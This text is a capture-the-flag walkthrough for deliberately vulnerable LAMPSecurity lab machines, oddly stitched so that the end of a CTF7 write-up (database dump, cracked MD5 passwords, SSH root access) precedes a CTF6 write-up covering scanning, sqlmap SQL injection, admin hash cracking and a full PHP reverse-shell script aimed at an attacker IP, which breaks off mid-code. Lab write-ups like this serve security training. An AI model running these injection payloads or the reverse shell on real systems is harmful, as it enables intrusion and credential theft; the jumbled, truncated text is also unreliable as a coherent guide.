[ruby@localhost ~]$ cd /home/ruby/
[ruby@localhost ~]$ ls -lsa
total 36
4 drwx------.  4 ruby ruby 4096 Dec 23  2012 .
4 drwxr-xr-x. 13 root root 4096 Dec 19  2012 ..
4 -rw-------.  1 ruby ruby  112 Dec 23  2012 .bash_history
4 -rw-r--r--.  1 ruby ruby   18 May 10  2012 .bash_logout
4 -rw-r--r--.  1 ruby ruby  176 May 10  2012 .bash_profile
4 -rw-r--r--.  1 ruby ruby  124 May 10  2012 .bashrc
4 drwx------.  3 ruby ruby 4096 Dec 19  2012 mail
4 drwx------.  2 ruby ruby 4096 Dec 19  2012 Maildir
4 -rw-------.  1 ruby ruby   38 Dec 23  2012 .mysql_history
[ruby@localhost ~]$ cat .bash_history 
sudo su
ls /var/www/html
ls /var/www/html/inc
cat /var/www/html/inc/db.php 
mysql -u root website
su julia
exit

Not only are we able to confirm access via the root account, but we are also able to dump the users table and retrieve a plethora of password hashes!

[ruby@localhost ~]$ mysql -u root website
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 13050
Server version: 5.1.66 Source distribution

Copyright (c) 2000, 2012, Oracle and/or its affiliates. All rights reserved.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> SHOW DATABASES;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| mysql              |
| roundcube          |
| website            |
+--------------------+
4 rows in set (0.00 sec)

mysql> SHOW TABLES;
+-------------------+
| Tables_in_website |
+-------------------+
| contact           |
| documents         |
| hits              |
| log               |
| newsletter        |
| payment           |
| trainings         |
| trainings_x_users |
| users             |
+-------------------+
9 rows in set (0.00 sec)

mysql> select username,password from users;
+-------------------------------+----------------------------------+
| username                      | password                         |
+-------------------------------+----------------------------------+
| brian@localhost.localdomain   | e22f07b17f98e0d9d364584ced0e3c18 |
| john@localhost.localdomain    | 0d9ff2a4396d6939f80ffe09b1280ee1 |
| alice@localhost.localdomain   | 2146bf95e8929874fc63d54f50f1d2e3 |
| ruby@localhost.localdomain    | 9f80ec37f8313728ef3e2f218c79aa23 |
| leon@localhost.localdomain    | 5d93ceb70e2bf5daa84ec3d0cd2c731a |
| julia@localhost.localdomain   | ed2539fe892d2c52c42a440354e8e3d5 |
| michael@localhost.localdomain | 9c42a1346e333a770904b2a2b37fa7d3 |
| bruce@localhost.localdomain   | 3a24d81c2b9d0d9aaf2f10c6c9757d4e |
| neil@localhost.localdomain    | 4773408d5358875b3764db552a29ca61 |
| charles@localhost.localdomain | b2a97bcecbd9336b98d59d9324dae5cf |
| foo@bar.com                   | 4cb9c8a8048fd02294477fcb1a41191a |
| calvinbebop@gmail.com         | 7c6a180b36896a0a8c02787eeafb0e4c |
| test@nowhere.com              | 098f6bcd4621d373cade4e832627b4f6 |
+-------------------------------+----------------------------------+
13 rows in set (0.00 sec)

Hash Identification/Cracking

Using Hash-identifier (or an equivalent online tool), we’re able to determine that these are MD5 hashed strings.

calvinbebop@Dolos:~$ hash-identifier 
   #########################################################################
   #	 __  __ 		    		__		 	 ______    _____	       #
   #	/\ \/\ \		   		   /\ \ 		/\__  _\  /\  _ `\	       #
   #	\ \ \_\ \     __      ____ \ \ \___		\/_/\ \/  \ \ \/\ \	       #
   #	 \ \  _  \  /'__`\   / ,__\ \ \  _ `\	   \ \ \   \ \ \ \ \	   #
   #	  \ \ \ \ \/\ \_\ \_/\__, `\ \ \ \ \ \	    \_\ \__ \ \ \_\ \	   #
   #	   \ \_\ \_\ \___ \_\/\____/  \ \_\ \_\     /\_____\ \ \____/	   #
   #	    \/_/\/_/\/__/\/_/\/___/    \/_/\/_/     \/_____/  \/___/  v1.1 #
   #								 By Zion3R 							   #
   #							www.Blackploit.com 						   #
   #						       Root@Blackploit.com  				   #
   #########################################################################

   -------------------------------------------------------------------------
 HASH: e22f07b17f98e0d9d364584ced0e3c18

Possible Hashs:
[+]  MD5
[+]  Domain Cached Credentials - MD4(MD4(($pass)).(strtolower($username)))

Luckily for us, MD5 hashes are relatively easy to crack and numerous online sources are happy to provide the “decrypted” strings for provided hashes.

Hash Type Result
e22f07b17f98e0d9d364584ced0e3c18 md5 my2cents
0d9ff2a4396d6939f80ffe09b1280ee1 md5 transformersrule
2146bf95e8929874fc63d54f50f1d2e3 md5 turtles77
9f80ec37f8313728ef3e2f218c79aa23 md5 Not found.
5d93ceb70e2bf5daa84ec3d0cd2c731a md5 qwer1234
ed2539fe892d2c52c42a440354e8e3d5 md5 madrid
9c42a1346e333a770904b2a2b37fa7d3 md5 somepassword
3a24d81c2b9d0d9aaf2f10c6c9757d4e md5 LosAngelesLakers
4773408d5358875b3764db552a29ca61 md5 Not found.
b2a97bcecbd9336b98d59d9324dae5cf md5 chuck33
4cb9c8a8048fd02294477fcb1a41191a md5 changeme
7c6a180b36896a0a8c02787eeafb0e4c md5 password1
098f6bcd4621d373cade4e832627b4f6 md5 test

SSH Access (22/TCP) via Compromised Credentials

Using one of our newfound set of credentials, we were able to login and obtain root privileges via brian’s user account using the password my2cents.

calvinbebop@Dolos:~$ @Dolos:~# ssh brian@10.0.88.9
brian@10.0.88.9's password: 
[brian@localhost ~]$ sudo su

We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

    #1) Respect the privacy of others.
    #2) Think before you type.
    #3) With great power comes great responsibility.

[sudo] password for brian: 
[root@localhost brian]# id
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
[root@localhost brian]#


EOL

Thank you for partaking in this week’s boot2root of LAMPSecurity’s CTF7 box! Another brilliant showcasing of the impact that MySQL misconfigurations can have.
As always, if you have any questions, corrections, or comments, please feel free to reach out to me on Twitter and have yourself an excellent day!


Source Information

Author: madirish2600
Series: LAMPSecurity
Download: download.vulnhub.com/lampsecurity/ctf6.zip

“The LAMPSecurity project is an effort to produce training and benchmarking tools that can be used to educate information security professionals and test products. Please note there are other capture the flag exercises (not just the latest one). Check the SourceForge site to find other exercises available here.”


Getting Started

As always, remember that it’s recommended to use walkthroughs as a “booster” to your own work when attempting to own vulnerable applications.
“For the things we have to learn before we can do them, we learn by doing them.” –Aristotle

Starting out, let’s use arp-scan to ARP out across our local network and identify that the CTF6 box has leased the IP address 10.0.88.8.

calvinbebop@Dolos:~$ arp-scan -l
Interface: eth0, datalink type: EN10MB (Ethernet)
Starting arp-scan 1.9 with 256 hosts (http://www.nta-monitor.com/tools/arp-scan/)
10.0.88.1	52:54:00:12:35:00	QEMU
10.0.88.3	08:00:27:d6:b4:6f	CADMUS COMPUTER SYSTEMS
10.0.88.8	08:00:27:f9:75:b0	CADMUS COMPUTER SYSTEMS

3 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.9: 256 hosts scanned in 2.912 seconds (87.91 hosts/sec). 3 responded

Initial Service Enumeration

Now we’ll use Nmap to initiate a full TCP SYN scan of 10.0.88.8 and hopefully discover some potential attack vectors in the system. A complete description of the tool’s flag usage can be found here. As usual, we’ll start by utilizing the following flags:

Flag Description
-sS Utilize a TCP SYN scan
-sV Probe open ports to determine service/version info
-sC Run the default set of service scripts
-A Enable OS detection, version detection, script scanning, and traceroute
-p- Target all TCP ports from 1-65535
calvinbebop@Dolos:~$ sudo nmap -sS -sV -sC -A -p- 10.0.88.8
Starting Nmap 7.70 ( https://nmap.org ) at 2018-12-08 15:00 CST
Nmap scan report for 10.0.88.8
Host is up (0.00028s latency).
Not shown: 65525 closed ports
PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 4.3 (protocol 2.0)
| ssh-hostkey: 
|   1024 14:a9:f4:11:dc:2c:4e:0d:45:6c:99:11:22:29:03:bc (DSA)
|_  2048 45:58:6c:98:3e:97:2a:da:e2:b8:6a:84:d4:6a:be:26 (RSA)
80/tcp   open  http     Apache httpd 2.2.3 ((CentOS))
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-server-header: Apache/2.2.3 (CentOS)
|_http-title: CTF 6 - Widgets Inc.
110/tcp  open  pop3     Dovecot pop3d
|_pop3-capabilities: SASL(PLAIN) UIDL TOP STLS RESP-CODES USER CAPA PIPELINING
| ssl-cert: Subject: commonName=imap.example.com
| Not valid before: 2009-06-23T23:53:41
|_Not valid after:  2010-06-23T23:53:41
|_ssl-date: 2018-12-08T21:00:32+00:00; 0s from scanner time.
| sslv2: 
|   SSLv2 supported
|   ciphers: 
|     SSL2_RC2_128_CBC_EXPORT40_WITH_MD5
|     SSL2_RC2_128_CBC_WITH_MD5
|     SSL2_DES_192_EDE3_CBC_WITH_MD5
|     SSL2_RC4_128_WITH_MD5
|_    SSL2_RC4_128_EXPORT40_WITH_MD5
143/tcp  open  imap     Dovecot imapd
|_imap-capabilities: completed OK THREAD=REFERENCES Capability AUTH=PLAINA0001 UNSELECT NAMESPACE STARTTLS LITERAL+ CHILDREN MULTIAPPEND IMAP4rev1 LOGIN-REFERRALS IDLE SASL-IR SORT
| ssl-cert: Subject: commonName=imap.example.com
| Not valid before: 2009-06-23T23:53:41
|_Not valid after:  2010-06-23T23:53:41
|_ssl-date: 2018-12-08T21:00:32+00:00; 0s from scanner time.
| sslv2: 
|   SSLv2 supported
|   ciphers: 
|     SSL2_RC2_128_CBC_EXPORT40_WITH_MD5
|     SSL2_RC2_128_CBC_WITH_MD5
|     SSL2_DES_192_EDE3_CBC_WITH_MD5
|     SSL2_RC4_128_WITH_MD5
|_    SSL2_RC4_128_EXPORT40_WITH_MD5
443/tcp  open  ssl/http Apache httpd 2.2.3 ((CentOS))
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-server-header: Apache/2.2.3 (CentOS)
|_http-title: CTF 6 - Widgets Inc.
| ssl-cert: Subject: commonName=localhost.localdomain/organizationName=SomeOrganization/stateOrProvinceName=SomeState/countryName=--
| Not valid before: 2009-06-02T16:13:30
|_Not valid after:  2010-06-02T16:13:30
|_ssl-date: 2018-12-08T21:00:31+00:00; 0s from scanner time.
3306/tcp open  mysql    MySQL 5.0.45
| mysql-info: 
|   Protocol: 10
|   Version: 5.0.45
|   Thread ID: 5
|   Capabilities flags: 41516
|   Some Capabilities: Support41Auth, SupportsTransactions, LongColumnFlag, Speaks41ProtocolNew, SupportsCompression, ConnectWithDatabase
|_  Status: Autocommit
MAC Address: 08:00:27:F9:75:B0 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 - 2.6.30
Network Distance: 1 hop

TRACEROUTE
HOP RTT     ADDRESS
1   0.28 ms 10.0.88.8

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 17.88 seconds

HTTP (80/TCP) Enumeration (Scanning)

There’s quite a few open services available for us to target with CTF6. For this walkthrough we’ll go ahead and start off with a nikto scan of the web server in the background while we conduct a manual investigation of CTF6’s web application at 80/TCP or 443/TCP.

calvinbebop@Dolos:~$ nikto -h http://10.0.88.8
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          10.0.88.8
+ Target Hostname:    10.0.88.8
+ Target Port:        80
+ Start Time:         2018-12-08 15:14:03 (GMT-6)
---------------------------------------------------------------------------
+ Server: Apache/2.2.3 (CentOS)
+ Cookie PHPSESSID created without the httponly flag
+ Retrieved x-powered-by header: PHP/5.2.6
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ Apache/2.2.3 appears to be outdated (current is at least Apache/2.4.12). Apache 2.0.65 (final release) and 2.2.29 are also current.
+ Allowed HTTP Methods: GET, HEAD, POST, OPTIONS, TRACE 
+ Web Server returns a valid response with junk HTTP methods, this may cause false positives.
+ OSVDB-877: HTTP TRACE method is active, suggesting the host is vulnerable to XST
+ OSVDB-12184: /?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings.
+ OSVDB-12184: /?=PHPE9568F34-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings.
+ OSVDB-12184: /?=PHPE9568F35-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings.
+ OSVDB-3268: /files/: Directory indexing found.
+ OSVDB-3092: /files/: This might be interesting...
+ OSVDB-3268: /lib/: Directory indexing found.
+ OSVDB-3092: /lib/: This might be interesting...
+ Cookie roundcube_sessid created without the httponly flag
+ OSVDB-3092: /mail/: This might be interesting...
+ OSVDB-3092: /phpmyadmin/changelog.php: phpMyAdmin is for managing MySQL databases, and should be protected or limited to authorized hosts.
+ Server leaks inodes via ETags, header found with file /phpmyadmin/ChangeLog, inode: 97164, size: 35791, mtime: Wed Oct 19 15:47:44 2095
+ OSVDB-3092: /phpmyadmin/ChangeLog: phpMyAdmin is for managing MySQL databases, and should be protected or limited to authorized hosts.
+ OSVDB-3268: /sql/: Directory indexing found.LMAO
+ OSVDB-3092: /manual/: Web server manual found.
+ OSVDB-3268: /icons/: Directory indexing found.
+ OSVDB-3268: /manual/images/: Directory indexing found.
+ OSVDB-3268: /docs/: Directory indexing found.
+ OSVDB-3233: /icons/README: Apache default file found.
+ /phpmyadmin/: phpMyAdmin directory found
+ OSVDB-3092: /phpmyadmin/Documentation.html: phpMyAdmin is for managing MySQL databases, and should be protected or limited to authorized hosts.
+ 8496 requests: 0 error(s) and 29 item(s) reported on remote host
+ End Time:           2018-12-08 15:14:24 (GMT-6) (21 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

HTTP (80/TCP) Manual Investigation

Welcome to CTF6’s homepage, Widgets Inc..

Jumping right into the source of home page, we’re able to identify names and user accounts for a number of the website’s staff members. This may come in handy if we need to attempt password bruteforcing later down the line.

Taking a look at one of the blog entries, we’re able to see that the web server is using the id parameter to specify which blog post to present. We can also note that this blog post was written by the admin account for this application.


SQL Injection Exploitation

Running through some basic SQL Injection tests, we’re able to verify a SQLi vulnerability exists by passing in MySQL’s SLEEP function. In this instance, the function causes the webserver to pause for 10 seconds before returning the blog post.

Passing this URL into sqlmap, we’re able to see that it finds three injection points via the id parameter!

calvinbebop@Dolos:~# sqlmap -u "http://10.0.88.8/index.php?id=4" -p "id"
        ___
       __H__
 ___ ___[)]_____ ___ ___  {1.2.7#stable}
|_ -| . [(]     | .'| . |
|___|_  [,]_|_|_|__,|  _|
      |_|V          |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 21:07:52

[21:07:52] [INFO] testing connection to the target URL
[21:07:52] [INFO] testing if the target URL content is stable
[21:07:53] [INFO] target URL content is stable
[21:07:53] [WARNING] heuristic (basic) test shows that GET parameter 'id' might not be injectable
[21:07:53] [INFO] testing for SQL injection on GET parameter 'id'
[21:07:53] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[21:07:53] [INFO] GET parameter 'id' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable (with --string="non")
[21:07:53] [INFO] heuristic (extended) test shows that the back-end DBMS could be 'MySQL' 
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] Y
[21:07:58] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)'
[21:07:58] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED)'
[21:07:58] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)'
[21:07:58] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (EXP)'
[21:07:58] [INFO] testing 'MySQL >= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)'
[21:07:58] [INFO] testing 'MySQL >= 5.7.8 OR error-based - WHERE or HAVING clause (JSON_KEYS)'
[21:07:58] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[21:07:58] [INFO] testing 'MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[21:07:58] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[21:07:58] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[21:07:58] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)'
[21:07:58] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)'
[21:07:58] [INFO] testing 'MySQL >= 4.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[21:07:58] [INFO] testing 'MySQL >= 4.1 OR error-based - WHERE or HAVING clause (FLOOR)'
[21:07:59] [INFO] testing 'MySQL OR error-based - WHERE or HAVING clause (FLOOR)'
[21:07:59] [INFO] testing 'MySQL >= 5.1 error-based - PROCEDURE ANALYSE (EXTRACTVALUE)'
[21:07:59] [INFO] testing 'MySQL >= 5.5 error-based - Parameter replace (BIGINT UNSIGNED)'
[21:07:59] [INFO] testing 'MySQL >= 5.5 error-based - Parameter replace (EXP)'
[21:07:59] [INFO] testing 'MySQL >= 5.7.8 error-based - Parameter replace (JSON_KEYS)'
[21:07:59] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace (FLOOR)'
[21:07:59] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace (UPDATEXML)'
[21:07:59] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace (EXTRACTVALUE)'
[21:07:59] [INFO] testing 'MySQL inline queries'
[21:07:59] [INFO] testing 'MySQL > 5.0.11 stacked queries (comment)'
[21:07:59] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[21:07:59] [INFO] testing 'MySQL > 5.0.11 stacked queries (query SLEEP - comment)'
[21:07:59] [INFO] testing 'MySQL > 5.0.11 stacked queries (query SLEEP)'
[21:07:59] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query - comment)'
[21:07:59] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query)'
[21:07:59] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind'
[21:08:09] [INFO] GET parameter 'id' appears to be 'MySQL >= 5.0.12 AND time-based blind' injectable 
[21:08:09] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[21:08:09] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[21:08:09] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[21:08:09] [INFO] target URL appears to have 7 columns in query
[21:08:09] [INFO] target URL appears to be UNION injectable with 7 columns
[21:08:09] [INFO] GET parameter 'id' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 82 HTTP(s) requests:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=4 AND 5344=5344

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: id=4 AND SLEEP(5)

    Type: UNION query
    Title: Generic UNION query (NULL) - 7 columns
    Payload: id=4 UNION ALL SELECT NULL,NULL,CONCAT(0x7170626b71,0x6b5651616369484163717562684c6a4d5555544b4e6f596c58687373644e47516e7a734964696d4b,0x716a7a7871),NULL,NULL,NULL,NULL-- CVuw
---
[21:08:13] [INFO] the back-end DBMS is MySQL
web server operating system: Linux CentOS 5.10
web application technology: PHP 5.2.6, Apache 2.2.3
back-end DBMS: MySQL >= 5.0.12
[21:08:13] [INFO] fetched data logged to text files under '/root/.sqlmap/output/10.0.88.8'

[*] shutting down at 21:08:13

Using the previous injection points found by sqlmap, let’s take a look at what tables are available to us in this database

calvinbebop@Dolos:~# sqlmap -u "http://10.0.88.8/index.php?id=4" -p "id" --tables
        ___
       __H__
 ___ ___[)]_____ ___ ___  {1.2.7#stable}
|_ -| . [(]     | .'| . |
|___|_  [,]_|_|_|__,|  _|
      |_|V          |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 21:09:57

[21:09:57] [INFO] resuming back-end DBMS 'mysql' 
[21:09:57] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=4 AND 5344=5344

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: id=4 AND SLEEP(5)

    Type: UNION query
    Title: Generic UNION query (NULL) - 7 columns
    Payload: id=4 UNION ALL SELECT NULL,NULL,CONCAT(0x7170626b71,0x6b5651616369484163717562684c6a4d5555544b4e6f596c58687373644e47516e7a734964696d4b,0x716a7a7871),NULL,NULL,NULL,NULL-- CVuw
---
[21:09:57] [INFO] the back-end DBMS is MySQL
web server operating system: Linux CentOS 5.10
web application technology: PHP 5.2.6, Apache 2.2.3
back-end DBMS: MySQL >= 5.0.12
[21:09:57] [INFO] fetching database names
[21:09:57] [INFO] fetching tables for databases: 'cms, information_schema, mysql, roundcube, test'
Database: cms
[3 tables]
+---------------------------------------+
| user                                  |
| event                                 |
| log                                   |
+---------------------------------------+

Database: roundcube
[6 tables]
+---------------------------------------+
| session                               |
| cache                                 |
| contacts                              |
| identities                            |
| messages                              |
| users                                 |
+---------------------------------------+

Database: information_schema
[17 tables]
+---------------------------------------+
| CHARACTER_SETS                        |
| COLLATIONS                            |
| COLLATION_CHARACTER_SET_APPLICABILITY |
| COLUMNS                               |
| COLUMN_PRIVILEGES                     |
| KEY_COLUMN_USAGE                      |
| PROFILING                             |
| ROUTINES                              |
| SCHEMATA                              |
| SCHEMA_PRIVILEGES                     |
| STATISTICS                            |
| TABLES                                |
| TABLE_CONSTRAINTS                     |
| TABLE_PRIVILEGES                      |
| TRIGGERS                              |
| USER_PRIVILEGES                       |
| VIEWS                                 |
+---------------------------------------+

Database: mysql
[17 tables]
+---------------------------------------+
| user                                  |
| columns_priv                          |
| db                                    |
| func                                  |
| help_category                         |
| help_keyword                          |
| help_relation                         |
| help_topic                            |
| host                                  |
| proc                                  |
| procs_priv                            |
| tables_priv                           |
| time_zone                             |
| time_zone_leap_second                 |
| time_zone_name                        |
| time_zone_transition                  |
| time_zone_transition_type             |
+---------------------------------------+

[21:09:57] [INFO] fetched data logged to text files under '/root/.sqlmap/output/10.0.88.8'

[*] shutting down at 21:09:57

The user table in the cms database looks interesting :)

calvinbebop@Dolos:~# sqlmap -u "http://10.0.88.8/index.php?id=4" -p "id" -D cms -T user
        ___
       __H__
 ___ ___[)]_____ ___ ___  {1.2.7#stable}
|_ -| . [(]     | .'| . |
|___|_  [,]_|_|_|__,|  _|
      |_|V          |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 21:10:11

[21:10:11] [INFO] resuming back-end DBMS 'mysql' 
[21:10:11] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=4 AND 5344=5344

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: id=4 AND SLEEP(5)

    Type: UNION query
    Title: Generic UNION query (NULL) - 7 columns
    Payload: id=4 UNION ALL SELECT NULL,NULL,CONCAT(0x7170626b71,0x6b5651616369484163717562684c6a4d5555544b4e6f596c58687373644e47516e7a734964696d4b,0x716a7a7871),NULL,NULL,NULL,NULL-- CVuw
---
[21:10:11] [INFO] the back-end DBMS is MySQL
web server operating system: Linux CentOS 5.10
web application technology: PHP 5.2.6, Apache 2.2.3
back-end DBMS: MySQL >= 5.0.12
[21:10:11] [INFO] fetched data logged to text files under '/root/.sqlmap/output/10.0.88.8'

[*] shutting down at 21:10:11

Sqlmap was able to extract the hashed password for the admin user account!

Database: cms
Table: user
[1 entry]
+---------+---------------+----------------------------------+
| user_id | user_username | user_password                    |
+---------+---------------+----------------------------------+
| 1       | admin         | 25e4ee4e9229397b6b17776bfceaf8e7 |
+---------+---------------+----------------------------------+

Hash Identification/Cracking

Using Hash-identifier (or an equivalent online tool), we’re able to determine that this is an MD5 hashed string.

calvinbebop@Dolos:~$ hash-identifier 
   #########################################################################
   #	 __  __ 		    		__		 	 ______    _____	       #
   #	/\ \/\ \		   		   /\ \ 		/\__  _\  /\  _ `\	       #
   #	\ \ \_\ \     __      ____ \ \ \___		\/_/\ \/  \ \ \/\ \	       #
   #	 \ \  _  \  /'__`\   / ,__\ \ \  _ `\	   \ \ \   \ \ \ \ \	   #
   #	  \ \ \ \ \/\ \_\ \_/\__, `\ \ \ \ \ \	    \_\ \__ \ \ \_\ \	   #
   #	   \ \_\ \_\ \___ \_\/\____/  \ \_\ \_\     /\_____\ \ \____/	   #
   #	    \/_/\/_/\/__/\/_/\/___/    \/_/\/_/     \/_____/  \/___/  v1.1 #
   #								 By Zion3R 							   #
   #							www.Blackploit.com 						   #
   #						       Root@Blackploit.com  				   #
   #########################################################################

   -------------------------------------------------------------------------
 HASH: 25e4ee4e9229397b6b17776bfceaf8e7

Possible Hashs:
[+]  MD5
[+]  Domain Cached Credentials - MD4(MD4(($pass)).(strtolower($username)))

Luckily for us, MD5 hashes are relatively easy to crack and numerous online sources are happy to provide the “decrypted” strings for provided hashes.

Hash Type Result
25e4ee4e9229397b6b17776bfceaf8e7 md5 adminpass

PHP Reverse Webshell Access (80/TCP)

Using our newfound password, we’re now able to gain access to the blog’s administrative panels.

One of the administrative pages appears to be form that allows us to create new blog entries. As to be expected, I motion that we attempt to post a PHP script that when retrieved will generate a reverse web shell back to our own machine.

The contents of ctf6-webshell.php are as follows. Sourced from xl7dev’s Github.

<?php

set_time_limit (0);
$VERSION = "1.0";
$ip = '10.0.88.5';  // Attacker IP Address
$port = 5454;       // Our listening port (netcat)
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;

//
// Daemonise ourself if possible to avoid zombies later
//

// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies.  Worth a try...
if (function_exists('pcntl_fork')) {
	// Fork and have the parent process exit
	$pid = pcntl_fork();
	
	if ($pid == -1) {
		printit("ERROR: Can't fork");
		exit(1);
	}
	
	if ($pid) {
		exit(0);  // Parent exits
	}

	// Make the current process a session leader
	// Will only succeed if we forked
	if (posix_setsid() == -1) {
		printit("Error: Can't setsid()");
		exit(1);
	}

	$daemon = 1;
} else {
	printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}

// Change to a safe directory
chdir("/");

// Remove any umask we inherited
umask(0);

//
// Do the reverse shell...
//

// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
	printit("$errstr ($errno)");
	exit(1);
}

// Spawn shell process
$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
	printit("ERROR: Can't spawn shell");
	exit(1);
}

// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
	// Check for end of TCP connection
	if (feof($sock)) {
		printit("ERROR: Shell connection terminated");
		break;
	}

	// Check for end of STDOUT
	if (feof($pipes[1])) {
		printit("ERROR: Shell process terminated");
		break;
	}

	// Wait until a command is end down $sock, or some
	// command output is available on STDOUT or STDERR
	$read_a = array($sock, $pipes[1], $pipes[2]);
	$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

	// If we can read from the TCP socket, send
	// data to process's STDIN
	if (in_array($sock, $read_a)) {
		if ($debug) printit("SOCK READ");
		$input = fread($sock, $chunk_size);
		if ($debug) printit("SOCK: $input");
		fwrite($pipes[0], $input);
	}

	// If we can read from the process's STDOUT
	// send data down tcp connection
	if (in_array($pipes[1], $read_a)) {
		if ($debug) printit("STDOUT READ");
		$input = fread($pipes[1], $chunk_size);
		if ($debug) printit("STDOUT: $input");
		fwrite($sock, $input);
	}

	// If we can read from the process's STDERR
	// send data down tcp connection
	if (in_array($pipes[2], $read_a)) {
		if ($debug) printit("STDERR READ");
		$input = fread($pipes[2], $chunk_size);
